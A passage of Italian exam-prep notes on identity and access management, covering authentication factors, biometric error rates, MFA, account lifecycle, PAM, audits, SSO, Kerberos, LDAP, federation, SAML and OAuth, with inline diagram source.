telefono SMS/Push Codice via SMS o notifica push Meno sicuro — SMS intercettabile, numero redirezionabile HOTP vs TOTP:\ngraph LR subgraph HOTP [\"HOTP — HMAC-based One-Time Password\"] H1[Server Condivide secret key] \u003c--\u003e|Shared secret| H2[Token] H2 --\u003e|Premi bottone| H3[Counter++] H3 --\u003e|HMAC algorithm| H4[OTP generato] end subgraph TOTP [\"TOTP — Time-based One-Time Password\"] T1[Server Condivide secret key] \u003c--\u003e|Shared secret| T2[Token] T2 --\u003e|Ora corrente| T3[Timestamp] T3 --\u003e|HMAC algorithm| T4[OTP cambia ogni 30-60 sec] end HOTP TOTP Espansione HMAC-based One-Time Password Time-based One-Time Password Trigger Pressione del bottone (counter++) Automatico ogni 30-60 secondi Come riconosci Devi premere qualcosa Cambia da solo Scade Non scade finche' non viene usato Scade dopo la finestra temporale Entrambi open-source. Entrambi usano una shared secret key — nessuna connessione necessaria per sincronizzarsi.\nKerberos usa ticket invece di password — distinzione chiave per l'esame quando chiede di confrontarlo con HOTP/TOTP.\nHook mnemonico: H = HMAC = il motore matematico. Lo stesso algoritmo HMAC-SHA512 e' usato in Bitcoin per derivare le chiavi private dal seed del wallet. Ogni volta che vedi HMAC pensa: segreto → trasformazione deterministica → output verificabile. HOTP: secret+counter → OTP. Bitcoin: seed → chiave privata. H → nessun tempo, nessuna scadenza — come il counter che non ha orologio.\nSomething You Are — Biometria # Il fattore piu' forte. Misura caratteristiche fisiche uniche dell'utente.\nMetodo Come funziona Forza Note operative Fingerprint Scanner impronta digitale Media Comune su laptop e smartphone Vein matching Scanner vene del palmo Alta Ospedali — identificazione pazienti. Passivo per il paziente: il personale medico puo' appoggiare la mano del paziente incosciente sul scanner senza cooperazione Retina imaging Scansione vasi sanguigni retina Massima Invasivo — contatto fisico necessario Iris scanner Pattern unico dell'iride Massima Passaporti — distanza 3-10 pollici Facial recognition Posizione e dimensioni tratti del viso Media iPhone Face ID Voice recognition Pattern vocale unico Media Apple Siri — influenzato da raffreddore Gait analysis Modo di camminare Media Passivo — identifica senza cooperazione Iris e retina = metodi biometrici piu' forti secondo Gibson.\nPassivo vs Enrollment — discriminante chiave per l'esame:\nMetodo Enrollment richiesto Passivo Note Gait analysis No ✅ Ti osservano mentre cammini — non te ne accorgi Facial recognition No ✅ Telecamera — nessuna cooperazione necessaria Fingerprint Sì ❌ Devi appoggiare il dito Iris Sì ❌ Devi avvicinarti e guardare il lettore Retina Sì ❌ Contatto fisico — il piu' invasivo Vein Sì ❌ Devi posizionare la mano Voice Sì ❌ Devi parlare Gait e Facial sono gli unici che bypassano il processo di enrollment — identificano senza che l'utente lo sappia o cooperi. Utili per sorveglianza passiva. Retina e' il piu' invasivo — contatto fisico quasi diretto con l'occhio.\nMetriche biometriche:\nMetrica Espansione Cosa misura Mnemonico FAR False Acceptance Rate % di volte che accetta un NON autorizzato Falso allarme verde = pericoloso FRR False Rejection Rate % di volte che rifiuta un AUTORIZZATO Falso allarme rosso = scocciatura CER Crossover Error Rate Punto in cui FAR = FRR. Piu' basso = sistema piu' accurato CER basso = campione del mondo Sensitivita\u0026#39; alta → FAR scende ↓ FRR sale ↑ (pochi impostori passano, piu\u0026#39; falsi rifiuti) Sensitivita\u0026#39; bassa → FAR sale ↑ FRR scende ↓ (piu\u0026#39; impostori passano, meno falsi rifiuti) FAR \\ / FRR \\ / \\ / \\ CER / ← punto di equilibrio. Piu\u0026#39; e\u0026#39; basso, meglio e\u0026#39;. \\ / \\ / \\/ Matrice acceptance/rejection:\nSistema NON accurato Sistema accurato Utente registrato False Rejection (FRR) True Acceptance Utente sconosciuto False Acceptance (FAR) True Rejection Varianti della domanda d'esame — pattern da riconoscere:\nLa domanda chiede Risposta Perche' Massima accuratezza / best indication of accuracy Lowest CER CER misura l'equilibrio tra FAR e FRR Meno impostori che passano Lowest FAR FAR = falsa accettazione Meno utenti legittimi rifiutati Lowest FRR FRR = falso rifiuto I dipendenti si lamentano che vengono rifiutati spesso FRR alto — abbassa sensibilita' Abbassare sensibilita' riduce FRR ma aumenta FAR Troppi non autorizzati entrano nel sistema FAR alto — alza sensibilita' Alzare sensibilita' riduce FAR ma aumenta FRR Somewhere You Are # La posizione come fattore aggiuntivo. Non e' un fattore forte da solo — usato sempre in combinazione.\nIP address → indica paese/regione (non posizione esatta — VPN lo bypassa facilmente) MAC address → identifica il computer specifico su Active Directory (solo da quel device) Impossible travel time: login da Springfield alle 9:00, login da Roma alle 9:05 → fisicamente impossibile → alert automatico Two-Factor e Multifactor Authentication # mindmap root((MFA)) Regola 2 fattori categorie DIVERSE Stessa categoria = single factor Valido Have + Know Are + Know Have + Are NON valido Are + Are Know + Know Have + Have Esempi ok Soft token + password Fingerprint + PIN Security key + retina La regola fondamentale: MFA = due fattori di categorie DIVERSE.\ngraph TD Q{Stai usando due fattori?} --\u003e|Si| Q2{Appartengono a categorie diverse?} Q --\u003e|No| NO1[Single Factor Auth Non e MFA] Q2 --\u003e|Si| YES[MFA / 2FA Valido] Q2 --\u003e|No stessa categoria| NO2[Single Factor Auth Non e MFA anche se usi due cose] style YES fill:#27ae60,color:#fff style NO1 fill:#e74c3c,color:#fff style NO2 fill:#e74c3c,color:#fff Combinazione E' 2FA? Perche' Soft token (have) + password (know) SI' Have + Know = categorie diverse Fingerprint (are) + PIN (know) SI' Are + Know = categorie diverse Security key (have) + retinal scan (are) SI' Have + Are = categorie diverse Thumbprint (are) + retinal scan (are) NO Are + Are = stessa categoria Password + reusable PIN NO Know + Know = stessa categoria Hardware token + push notification NO Have + Have = stessa categoria Passwordless Authentication # Elimina la password sostituendola con altri fattori (something you have o something you are). Non e' necessariamente MFA — puo' usare un singolo fattore non-password. Passwordless non implica MFA e viceversa.\nAuthentication Log Files # mindmap root((Auth Log Files)) Ogni entry contiene What login success failure When timestamp Where IP hostname Who account username Scopo Audit trail Ricostruisce sequenza eventi Integrato con SIEM Alert automatici I log tracciano ogni tentativo di login, riuscito o fallito. Ogni entry contiene:\nCampo Esempio What Login success / Login failure When 2026-05-15 03:47:22 Where IP 185.23.44.12 / hostname WORKSTATION-07 Who Account: jsmith / svc-sqlserver Fondamentali per l'audit trail: ricostruire la sequenza di eventi prima di un incidente. Integrati con SIEM per correlazione e alert automatici.\nManaging Accounts — Tipi di Account e Credential Policy # mindmap root((Tipi Account)) End-user Least privilege Solo ruolo corrente Administrator Non usare quotidianamente Rischio malware Service Usato da app Password lunghe e complesse Device Gestito da AD Third-party Temporaneo Scadenza definita Guest Disabilitato di default Shared Generic VIETATO Rompe accounting Eccezione kiosk pubblici Tipo Descrizione Nota esame End-user / Personnel Account standard per dipendenti (personale aziendale). End-user = utente finale = punto finale della catena, chi usa il sistema non chi lo gestisce. Email, Office, file del proprio reparto — nessun privilegio speciale. Least privilege — solo cio' che serve per il ruolo Administrator / Root Account privilegiato con accesso completo Non usare per lavoro quotidiano — rischio malware Service Account usato da applicazioni/servizi (es. SQL Server) Credential policy piu' forti — password lunghe e complesse Device Account di dispositivi su Active Directory Gestito da AD, non da persone Third-party Account di entita' esterne con accesso temporaneo Credential policy stringenti + scadenza definita Guest Accesso temporaneo limitato Disabilitato di default — abilitare solo in casi speciali Shared / Generic Account condiviso tra piu' persone — stessa username e password usata da piu' utenti. Es: reception/Reception2024, kiosk/kiosk, admin/admin. VIETATO in quasi tutti i contesti — impedisce accounting individuale. Eccezione: kiosk pubblici dove l'anonimato e' intenzionale. Privileged Access Management (PAM) # mindmap root((PAM)) Just-in-time Privilegi solo quando servono Revocati automaticamente Password vault Admin non vede mai la password Auto-rotation Temporary accounts Si auto-distruggono Full logging Chi cosa quando Obiettivo Ridurre finestra esposizione Account privilegiato non sempre attivo PAM implementa controlli stringenti sugli account privilegiati. Il problema che risolve: un admin che usa sempre l'account privilegiato espone quell'account h24. PAM riduce la finestra di esposizione.\ngraph TD A[Admin ha bisogno di accesso privilegiato] --\u003e B[Richiesta just-in-time al PAM] B --\u003e C[PAM verifica e approva] C --\u003e D[PAM concede accesso temporaneo es 15 minuti] D --\u003e E[Admin esegue il task] E --\u003e F[Tempo scaduto] F --\u003e G[PAM revoca i privilegi automaticamente] G --\u003e H[PAM registra tutto: chi cosa quando] style D fill:#27ae60,color:#fff style G fill:#e74c3c,color:#fff style H fill:#8e44ad,color:#fff Funzionalita' PAM:\nJust-in-time permissions: privilegi concessi solo quando servono, revocati dopo Password vault: gli admin non vedono mai la password dell'account privilegiato — il PAM la gestisce e la ruota Temporary accounts: crea account temporanei con privilegi che si auto-distruggono Full logging: ogni accesso privilegiato registrato — chi, quando, cosa ha fatto Auto-rotation: cambia automaticamente le password degli account privilegiati Due Account per Admin # mindmap root((Due Account Admin)) Account normale Email browser Office Lavoro quotidiano Account admin Solo task amministrativi Perche Malware infetta sessione normale Non ha privilegi admin Privilege escalation rilevabile Account condivisi Rompono IAAA Identification impossibile Accounting impossibile Account normale → email, browser, Office, lavoro quotidiano Account admin → SOLO per task amministrativi\nMalware infetta sessione normale → non ha privilegi admin Malware deve fare privilege escalation → passaggio extra rilevabile\nRiduce l'attack surface: se un admin usa sempre l'account privilegiato per tutto, un trojan che arriva via email ha subito accesso completo al sistema.\nAccount Condivisi — Perché Rompono IAAA # Account condivisi o generici violano tutti e quattro i principi IAAA.\nEsempio Gibson: Bart, Maggie e Lisa usano tutti l'account Guest.\nProblema Conseguenza Identification Non sai chi è loggato — tutti dichiarano \u0026quot;Guest\u0026quot; Authorization Dai accesso a Guest → tutti e tre lo hanno. Non puoi dare accesso solo a Lisa. Accounting Bart cancella i file → i log dicono \u0026quot;Guest ha cancellato\u0026quot;. Chi era? Impossibile saperlo. Eccezione: un singolo utente temporaneo che usa Guest supporta ancora IAAA — il problema nasce solo quando l'account è condiviso tra più persone.\nExam tip: shared/generic account = vietato. Ogni utente deve avere il proprio account univoco. Gli admin devono avere due account separati (normale + privilegiato) per ridurre il rischio di privilege escalation.\nDeprovisioning e Ciclo di Vita degli Account # mindmap root((Account Lifecycle)) Provisioning Account creato Permessi assegnati Least privilege Disabilitare Terminazione immediata Leave of absence Mai cancellare subito Cancellare Solo dopo 60-90 giorni Se no dati cifrati persi Scadenza automatica Contractor con data fine nota Account expiration ideale Deprovisioning Automatizzato con HR Non dipendere da notifica manuale Deprovisioning = processo per disabilitare l'account di un utente quando lascia l'organizzazione. Spesso automatizzato: appena l'HR inattiva il dipendente nel sistema, l'account viene disabilitato.\nProvisioning = processo inverso: creazione dell'account e assegnazione dei permessi quando un nuovo dipendente arriva.\ngraph TD A[Nuovo dipendente] --\u003e B[Provisioning Account creato + permessi assegnati] B --\u003e C[Account attivo Least privilege applicato] C --\u003e D{Evento} D --\u003e|Leave of absence| E[Account DISABILITATO temporaneamente] E --\u003e|Rientro| C D --\u003e|Licenziamento Terminazione| F[Account DISABILITATO immediatamente] F --\u003e G{60-90 giorni} G --\u003e|Nessun bisogno dei dati| H[Account CANCELLATO] G --\u003e|Dati cifrati necessari| I[Account mantenuto disabilitato] style E fill:#e67e22,color:#fff style F fill:#e74c3c,color:#fff style H fill:#c0392b,color:#fff Perche' disabilitare e NON cancellare: Cancellare un account distrugge le chiavi crittografiche associate. Qualsiasi file cifrato con quell'account diventa inaccessibile per sempre — anche per l'organizzazione stessa. Disabilitare mantiene l'account (e le chiavi) intatto ma bloccato.\n\u0026quot;Disabling the account ensures that data associated with it remains available.\u0026quot; — Gibson\nScenario Azione Timing Terminazione / Licenziamento Disabilitare subito Appena possibile — idealmente prima che lasci l'edificio Leave of absence Disabilitare per la durata dell'assenza Policy aziendale: 2 settimane, 2 mesi, ecc. Automatizzato dall'HR system Account inattivo Cancellare Dopo 60-90 giorni — periodo di sicurezza per evitare problemi con chiavi cifrate Account dormiente da investigare Disabilitare Mai resettare (= reimpostare la password) — l'account rimane attivo e il rischio persiste Contractor con data fine contratto nota Account expiration Ideale — si disabilita automaticamente alla scadenza senza intervento manuale Time-Based Logins e Account Audits # mindmap root((Time e Audit)) Time-based logins Blocca accesso fuori orario Sessioni gia aperte NON tagliate Solo blocca nuovi accessi Location-based policy Blocca per paese o rete Geolocation o IP Non e time-based Account Audit Indipendente e periodico Least privilege check Privilege creep rilevato Attestation dai manager Privilege creep Permessi entrano mai escono Cambio ruolo senza rimozione Rilevato con audit Time-Based Logins (time-of-day restrictions): Il sistema blocca l'accesso fuori dagli orari autorizzati — anche con credenziali corrette.\nEsempio: l'azienda consente accessi dalle 6:00 alle 20:00 lun-ven. Se qualcuno prova a loggare alle 3:00 di notte nel weekend, il sistema blocca. Maggie puo' fare straordinari solo se il manager la aggiunge a un gruppo con orari estesi.\nLocation-based policies — bloccano l'accesso da determinate posizioni geografiche o reti. Diverso dai time-based logins: non è \u0026quot;quando\u0026quot; ma \u0026quot;da dove\u0026quot;. Esempio: bloccare login da paesi ad alto rischio, o permettere accesso solo dalla rete aziendale o VPN. Usato come quarto fattore (somewhere you are) applicato come policy di accesso. Exam tip: se la domanda menziona geolocation o restrizioni per paese → location-based policy, non time-based login.\nAttenzione — le sessioni attive non vengono interrotte: Il time-based login controlla solo l'accesso in entrata, non taglia le sessioni gia' aperte. Se Maggie e' loggata dalle 9:00 e sta lavorando fino alle 21:30, alle 20:00 la sua sessione rimane attiva. Pero' il sistema le impedisce di aprire nuove connessioni di rete (connettersi a un altro server, aprire una VPN, ecc.). Chi era dentro prima dell'orario limite continua a lavorare — chi prova a entrare dopo viene bloccato.\nAccount Audit: Esame sistematico e indipendente di un sistema, processo o record per determinare se e' conforme ai criteri stabiliti. La parola chiave e' indipendente: lo fa qualcuno che non ha interesse a nascondere problemi. E' programmato e periodico — non si fa perche' si hanno dubbi, si fa anche quando tutto sembra ok.\nIn pratica: l'admin estrae da Active Directory la lista completa dei permessi di tutti gli utenti e la confronta con la lista HR dei dipendenti attivi. Cerca privilege creep, account di ex-dipendenti ancora attivi, service account con password vecchie, account guest abilitati senza motivo.\nRisponde a una domanda sola: ogni account ha solo i permessi che servono per il suo ruolo attuale?\nConcetto Definizione Hook mnemonico Least privilege principle (principio del privilegio minimo) Ogni utente deve avere solo i permessi strettamente necessari per svolgere il proprio lavoro — niente di piu'. Se non ti serve, non ce l'hai. \u0026quot;Meno permessi = meno danno se compromesso\u0026quot; Privilege creep (accumulo strisciante di privilegi) L'accumulo progressivo di permessi nel tempo. Ogni volta che un utente cambia ruolo o progetto, riceve nuovi accessi — ma quelli vecchi non vengono mai rimossi. Col tempo l'utente ha molti piu' permessi di quelli che servono. \u0026quot;I permessi entrano ma non escono mai\u0026quot; Privilege creep — trappola classica: Lisa lavora in HR per 2 anni. Poi passa alle Vendite. L'admin aggiunge i permessi Sales ma dimentica di rimuovere quelli HR. Lisa ora ha accesso a dati HR + Sales — viola least privilege. Gli audit periodici rilevano e correggono questo accumulo.\nGli audit si fanno almeno una volta l'anno. Alcune organizzazioni li fanno trimestralmente. L'obiettivo e' farli abbastanza spesso da intercettare i problemi prima che diventino incidenti — ma non cosi' spesso da diventare un peso inutile per i security admin. Giornalieri o settimanali sono eccessivi a meno che non siano completamente automatizzati.\nAttestation: Processo formale in cui i manager revisionano i permessi di ogni utente del loro team e certificano che quei permessi siano necessari per svolgere il lavoro. Non lo fa l'admin da solo — lo fa il manager che conosce le responsabilita' reali di ogni persona. Se il manager non certifica un permesso, viene revocato.\nDue tipi di audit — exam trap:\nTipo Cosa esamina Scopo Permission auditing I permessi assegnati agli account Verifica least privilege, rileva privilege creep Usage auditing I log di attivita' degli utenti Vede cosa fanno gli utenti, ricostruisce l'audit trail Permission auditing → risponde a \u0026quot;ha i permessi giusti?\u0026quot; Usage auditing → risponde a \u0026quot;cosa ha fatto con quei permessi?\u0026quot;\nComparing Authentication Services # mindmap root((Auth Services)) SSO Un login piu risorse Token di sessione Kerberos su AD TGT + Service Ticket LDAP Directory protocol Query su utenti e gruppi Active Directory Federation Organizzazioni diverse IdP + SP + Principal Trust reciproca SAML XML assertion SSO web B2B IdP emette token OAuth AUTHORIZATION non auth Token scope limitato App terze parti OIDC OAuth + identita Login con Google Obiettivo comune di tutti i protocolli di autenticazione: garantire che le credenziali non viaggino in chiaro sulla rete (cleartext). Se le credenziali sono in cleartext, un attaccante con un protocol analyzer (es. Wireshark) le cattura e le legge direttamente.\nExam tip: quando una domanda chiede perche' usare LDAPS, SAML, o autenticazione cifrata al posto delle versioni base — la risposta e' sempre questa: prevenire la trasmissione di credenziali in cleartext.\nSSO — Single Sign-On # Un unico login per accedere a piu' risorse senza autenticarsi di nuovo. Il sistema genera un token alla prima autenticazione — quel token viene presentato agli altri sistemi.\nVantaggio: l'utente ricorda una sola password, meno friction. Rischio: password compromessa = attaccante accede a tutto.\nHook mnemonico: \u0026quot;Il passaporto aziendale\u0026quot; — lo mostri una volta all'aeroporto (login), poi entri in tutti i paesi del blocco (risorse aziendali) senza rifarlo ogni volta.\nEsempio vita reale — SSO consumer: Fai login su Google una volta. Poi apri Gmail: sei gia’ dentro. Apri YouTube: sei dentro. Apri Drive, Calendar, Maps: sei dentro ovunque, senza reinserire la password. Il token di sessione ottenuto al primo login viene riutilizzato automaticamente dai vari servizi Google.\nEsempio vita reale — SSO aziendale: Senza SSO: un utente che lavora su 5 server deve ricordare credenziali diverse per ogni server — e le scrive su un foglietto. Con SSO: fa login una volta sul dominio, il sistema crea un secure token valido per tutta la sessione, e ogni volta che accede a un server il token viene presentato automaticamente al posto delle credenziali.\ngraph TD A[Utente vuole accedere a una risorsa] --\u003e B{Ha gia' un SSO token?} B --\u003e|NO — prima volta| C[Sistema chiede username e password] C --\u003e D[SSO verifica le credenziali] D --\u003e E[SSO genera un secure token valido per tutta la sessione] E --\u003e F[Accesso alla risorsa concesso] E --\u003e G[(Token memorizzato nella sessione)] B --\u003e|SI — token gia' presente| H[SSO presenta il token alla risorsa automaticamente] H --\u003e F F --\u003e I[Utente accede a un'altra risorsa] I --\u003e B style C fill:#e74c3c,color:#fff style E fill:#27ae60,color:#fff style H fill:#27ae60,color:#fff style G fill:#8e44ad,color:#fff Beneficio di sicurezza: l’utente ricorda una sola password — meno probabilita’ che la scriva su un foglietto.\nRischio di sicurezza: password compromessa = attaccante accede a tutti i sistemi collegati all’SSO. Per questo SSO richiede autenticazione forte — password debole su SSO e’ molto piu’ pericolosa che su un singolo sistema.\nInteroperabilita’: SSO funziona come sistema centralizzato di IAAA per tutti i servizi dell’organizzazione — OS, dispositivi, applicazioni, servizi cloud. Tutti si appoggiano all’SSO per identificazione, autenticazione, autorizzazione e accounting.\nChi crea il token — Kerberos # In un dominio Windows, il token SSO e’ creato da Active Directory tramite il protocollo Kerberos. Il componente che emette i ticket si chiama KDC — Key Distribution Center.\nKerberos usa due tipi di ticket:\nTicket Nome completo Durata Scopo TGT Ticket Granting Ticket ~10 ore Il \u0026quot;master ticket\u0026quot; — prova che sei gia’ autenticato Service Ticket — ~1 ora Ticket per una risorsa specifica (un server, un servizio) Cosa contiene il token: Il token NON contiene la password in chiaro. Contiene:\nUsername e timestamp Periodo di validita’ PAC (Privileged Attribute Certificate): SID dell’utente + gruppi di appartenenza + diritti Chiave di sessione cifrata La password non viaggia mai sulla rete — viene usata solo localmente per derivare la chiave crittografica che decifra la risposta del KDC.\nOgni utente ha il suo token: si’ — il TGT e’ personale, cifrato con le credenziali di quell’utente specifico.\nsequenceDiagram participant U as Utente participant KDC as KDC / Active Directory participant R as Risorsa (server) U-\u003e\u003eKDC: 1. Username + password hashata KDC-\u003e\u003eKDC: Verifica credenziali KDC-\u003e\u003eU: 2. TGT (valido ~10 ore) Note over U: La password non esce mai dal PC U-\u003e\u003eKDC: 3. Voglio accedere al server X (presenta TGT) KDC-\u003e\u003eU: 4. Service Ticket per server X (valido ~1 ora) Note over KDC,U: Il Service Ticket include il PAC con i gruppi e i diritti dell’utente U-\u003e\u003eR: 5. Presenta Service Ticket R-\u003e\u003eR: Legge il PAC — sa gia’ cosa puo’ fare l’utente R-\u003e\u003eU: 6. Accesso concesso senza chiedere la password Important Exam trap — Kerberos vs Federation: Kerberos = stesso dominio, stessa organizzazione. Il KDC emette ticket interni (TGT + service ticket) per risorse interne all'AD. Quando la domanda parla di \u0026quot;tokens issued by a trusted identity provider\u0026quot; per accedere a sistemi multipli, la risposta e' Federation — non Kerberos. La parola chiave e' trusted identity provider: significa che c'e' un IdP esterno che emette token verso Service Provider in organizzazioni diverse. Kerberos non conosce il concetto di IdP esterno.\nLDAP — Lightweight Directory Access Protocol # Protocollo core dei sistemi di directory. Windows Active Directory usa LDAP come protocollo di query. Centralizza informazioni su utenti, dispositivi, gruppi e risorse. Quando premi login su un dominio Windows, LDAP interroga AD per verificare le credenziali e recuperare i permessi.\nActive Directory non e' un protocollo — e' un software (directory service) prodotto da Microsoft che gira su Windows Server. Internamente usa piu' protocolli standard:\ngraph TD AD[\"ACTIVE DIRECTORY software/servizio su Windows Server\"] AD --\u003e LDAP[\"LDAP memorizza e cerca utenti/gruppi\"] AD --\u003e KRB[\"KERBEROS autentica gli utenti in modo sicuro\"] AD --\u003e DNS[\"DNS trova il Domain Controller in rete\"] AD --\u003e GPO[\"GPO — Group Policy Object distribuisce policy a tutti i PC\"] style AD fill:#4a90d9,color:#fff style LDAP fill:#27ae60,color:#fff style KRB fill:#e67e22,color:#fff style DNS fill:#8e44ad,color:#fff style GPO fill:#c0392b,color:#fff Samba su Linux implementa gli stessi protocolli — per questo e' compatibile con Windows AD. La differenza e' solo il software, non il protocollo.\nIl Domain Controller e' il server fisico (o virtuale) su cui gira Active Directory. E' il cervello del dominio — fa tre cose:\ngraph TD DC[\"DOMAIN CONTROLLER Il server centrale del dominio\"] DC --\u003e A[\"AUTHENTICATION Verifica le credenziali tramite Kerberos Emette il TGT\"] DC --\u003e B[\"DATABASE Contiene tutti gli utenti, gruppi, computer e permessi tramite LDAP\"] DC --\u003e C[\"POLICY Distribuisce le regole aziendali a tutti i PC tramite GPO\"] style DC fill:#4a90d9,color:#fff style A fill:#e67e22,color:#fff style B fill:#27ae60,color:#fff style C fill:#8e44ad,color:#fff Nel lab: Ubuntu con Samba e' il Domain Controller. Kali e' il client che gli parla.\nFederation e Identity Provider # Perche' si chiama Federation?\nFederare (dal latino foedus = patto, accordo) significa unirsi sotto regole comuni mantenendo la propria indipendenza. Due organizzazioni diverse si accordano per riconoscere reciprocamente le identita' — senza fondersi e senza condividere i sistemi.\nPolitica Identity Federation Stati diversi con governi indipendenti Organizzazioni diverse con sistemi diversi Si accordano su regole comuni Si accordano su uno standard comune (SAML) Un cittadino di uno stato e' riconosciuto nell'altro Un utente di una org e' riconosciuto nell'altra Gli stati restano indipendenti I sistemi restano separati Mario e' uno studente della Sapienza. Microsoft 365 e' un'organizzazione completamente diversa. Non si uniscono — si federano: stringono un patto di fiducia reciproca: \u0026quot;io mi fido della tua identita', tu ti fidi della mia assertion.\u0026quot;\nIl contrario della federation e' avere un account separato su ogni sistema — Mario dovrebbe creare un account Microsoft separato, uno Coursera, uno Zoom. Con la federation: un solo account Sapienza, accesso ovunque.\nsequenceDiagram participant M as Mario (Principal) participant IdP as IdP - Sapienza participant SP as SP - Microsoft 365 M-\u003e\u003eIdP: 1. Login con credenziali Sapienza IdP-\u003e\u003eIdP: Verifica identita nel proprio AD IdP-\u003e\u003eSP: 2. Assertion di identita (SAML) SP-\u003e\u003eM: 3. Accesso concesso senza nuovo account Ruolo Chi e' Funzione Principal Lo studente (Mario) Accede alle risorse con le credenziali Sapienza Identity Provider (IdP) La Sapienza Gestisce le identita', verifica nel proprio AD, emette le assertion Service Provider (SP) Microsoft 365, Coursera, Zoom Fornisce servizi ai principal. Ospita i siti/applicazioni accessibili tramite portale web. Quando Mario accede, interroga l'IdP per verificare che abbia credenziali valide prima di concedere l'accesso — non gestisce direttamente le credenziali. La federation richiede che le due organizzazioni si accordino sullo standard di identity (es. SAML). Non si uniscono i sistemi — si fidano reciprocamente delle identita'.\nDeprovisioning in un sistema federato: Quando Mario si laurea, la Sapienza disabilita il suo account nel proprio AD. In quel momento perde automaticamente l'accesso a tutti i SP federati — Microsoft 365, Coursera, Zoom, biblioteche digitali — in un colpo solo. Nessun admin deve andare a cancellare account su 10 sistemi diversi. Un solo deprovisioning sull'IdP, tutto va via. Questo e' uno dei vantaggi operativi piu' importanti della federation.\nSAML — Security Assertion Markup Language # SAML (Security Assertion Markup Language) e' un formato dati basato su XML usato per l'SSO sui web browser. Serve a scambiare informazioni di autenticazione e autorizzazione tra organizzazioni diverse.\nEspansione da ricordare: Security Assertion — SAML trasporta delle assertion (dichiarazioni firmate) sull'identita' dell'utente da un'organizzazione all'altra.\nCaso reale — Universita' e servizi esterni: Sei studente alla Sapienza con account mario.rossi@studenti.uniroma1.it. Con quell'unico account accedi a Microsoft 365 (Teams, Word), Coursera, biblioteche digitali (JSTOR, IEEE), Zoom istituzionale — senza mai creare un account separato. Nessuno di questi servizi conosce la tua password. La Sapienza dice \u0026quot;questo e' Mario, e' uno studente attivo\u0026quot; e loro si fidano. Quando ti laurei e l'universita' disabilita il tuo account, perdi l'accesso a tutti i servizi in un colpo solo — un solo deprovisioning, tutto va via.\nsequenceDiagram participant M as Mario (Principal) participant SP as Service Provider (Microsoft 365) participant IdP as Identity Provider (Sapienza) M-\u003e\u003eSP: Vuole accedere a Teams SP-\u003e\u003eM: Redirect alla Sapienza M-\u003e\u003eIdP: Login con credenziali Sapienza IdP-\u003e\u003eIdP: Verifica nel proprio AD/LDAP IdP-\u003e\u003eM: Token SAML - XML assertion firmata M-\u003e\u003eSP: Presenta token SAML SP-\u003e\u003eM: Accesso concesso - Microsoft non ha mai visto la password SAML gestisce sia autenticazione che autorizzazione — ma sono separati. Avere il token non significa avere tutti i permessi.\nI tre ruoli SAML:\nRuolo Chi e' Cosa fa Principal Lo studente (Mario) Si autentica una volta sola con le credenziali Sapienza Identity Provider (IdP) La Sapienza Gestisce le identita', verifica le credenziali nel proprio AD, emette le assertion SAML Service Provider (SP) Microsoft 365, Coursera, Zoom Si fida dell'IdP e concede l'accesso in base all'assertion — senza mai vedere la password Important SAML e' uno standard basato su XML per scambiare informazioni di autenticazione e autorizzazione tra parti diverse. Fornisce SSO per applicazioni web.\nSAML e Authorization — distinzione fondamentale:\nSSO autentica — non autorizza. Sono due cose separate.\nAutenticazione = verificare chi sei → \u0026quot;Mario e' uno studente Sapienza valido\u0026quot; ✅ Autorizzazione = decidere cosa puoi fare → dipende dalle regole del SP Esempio: Mario si autentica alla Sapienza e accede a Microsoft 365. Entra in Teams — autenticato ✅. Prova ad accedere al pannello di amministrazione di Teams — bloccato ❌. Il token SAML ha confermato la sua identita', ma Microsoft ha le proprie regole di autorizzazione indipendenti.\nIl fatto che la Sapienza si fidi di Microsoft non significa che Mario abbia accesso a tutto su Microsoft. La federation non azzera le autorizzazioni del SP.\nIl colpo di scena — SAML puo' trasportare anche autorizzazione:\nSAML avanzato permette all'IdP di includere attributi di autorizzazione dentro l'assertion. La Sapienza puo' aggiungere nel token: \u0026quot;Mario e' studente, iscritto a Informatica, ha licenza Office 365 Education.\u0026quot; Microsoft legge questi attributi e autorizza di conseguenza — senza fare query aggiuntive.\nSSO base SAML avanzato Cosa trasporta il token Solo identita' Identita' + attributi di autorizzazione Chi decide i permessi Solo il SP IdP suggerisce, SP applica Esempio \u0026quot;Mario e' autenticato\u0026quot; \u0026quot;Mario e' autenticato, ha licenza Education, e' nel gruppo Studenti\u0026quot; Non e' automatico — dipende da cosa l'IdP decide di includere nell'assertion.\nDove viene verificata la password e in quale database?\nSolo nell'IdP (la Sapienza) — nel proprio Active Directory / LDAP. La password non esce mai dal sistema universitario. Microsoft 365 non la vede, non la tocca, non ne ha copia. Riceve solo l'assertion firmata: \u0026quot;Mario e' autenticato, e' uno studente attivo del corso X.\u0026quot;\nLa federation e' bidirezionale? Dipende da come e' configurata la trust tra le organizzazioni.\nCaso Configurazione Risultato Trust unidirezionale Microsoft si fida della Sapienza (Sapienza = IdP) Mario si autentica alla Sapienza → accede a Microsoft ✅. Mario si autentica con Microsoft → accede ai sistemi Sapienza ❌ Trust bidirezionale Entrambe si fidano reciprocamente Accesso funziona in entrambe le direzioni ✅ IdP esterno Entrambe si fidano di Okta o Azure AD Bidirezionale automatico — nessuna configurazione diretta tra le due org La trust non e' automatica — le due organizzazioni devono accordarsi esplicitamente. Exam tip: \u0026quot;mutual trust\u0026quot; o \u0026quot;bidirectional trust\u0026quot; = Caso 2. \u0026quot;Trust\u0026quot; senza specifiche = di solito unidirezionale.\nTerza opzione — IdP esterno:\nSapienza ──┐ ├──→ IdP di terza parte (es. Okta, Azure AD) ──→ assertion Microsoft ──┘ Nessuna delle due organizzazioni fa da IdP — entrambe si fidano di un provider esterno come Okta o Azure AD. Mario si autentica una volta sola sull'IdP esterno e accede sia ai sistemi Sapienza che a Microsoft 365. Comune nelle grandi aziende che devono federare decine di organizzazioni senza che nessuna gestisca l'identita' delle altre.\nOAuth — ATTENZIONE trappola esame # OAuth = Open Authorization.\nOAuth e' uno standard aperto (Open) per l'AUTHORIZATION, non per l'authentication.\nExam trap doppia:\nLa O = Open — standard aperto, non proprietario Auth = Authorization, non Authentication — il nome inganna deliberatamente sequenceDiagram participant U as Utente participant S as Spotify participant G as Google Calendar U-\u003e\u003eS: Vuole aggiungere concerti al calendario S-\u003e\u003eG: Richiesta: accesso al Google Calendar di questo utente G-\u003e\u003eU: Popup consenso - Google autentica l'utente U-\u003e\u003eG: Approvo accesso al calendario G-\u003e\u003eS: Token OAuth (accesso solo Calendar - non email, non Drive) S-\u003e\u003eG: Aggiunge eventi concerti al Calendar con il token Note over S,G: Spotify non ha mai visto la password Google dell'utente OAuth consente a un servizio di accedere a risorse di un altro servizio per conto dell'utente, senza condividere le credenziali. Il token e' limitato — Spotify accede 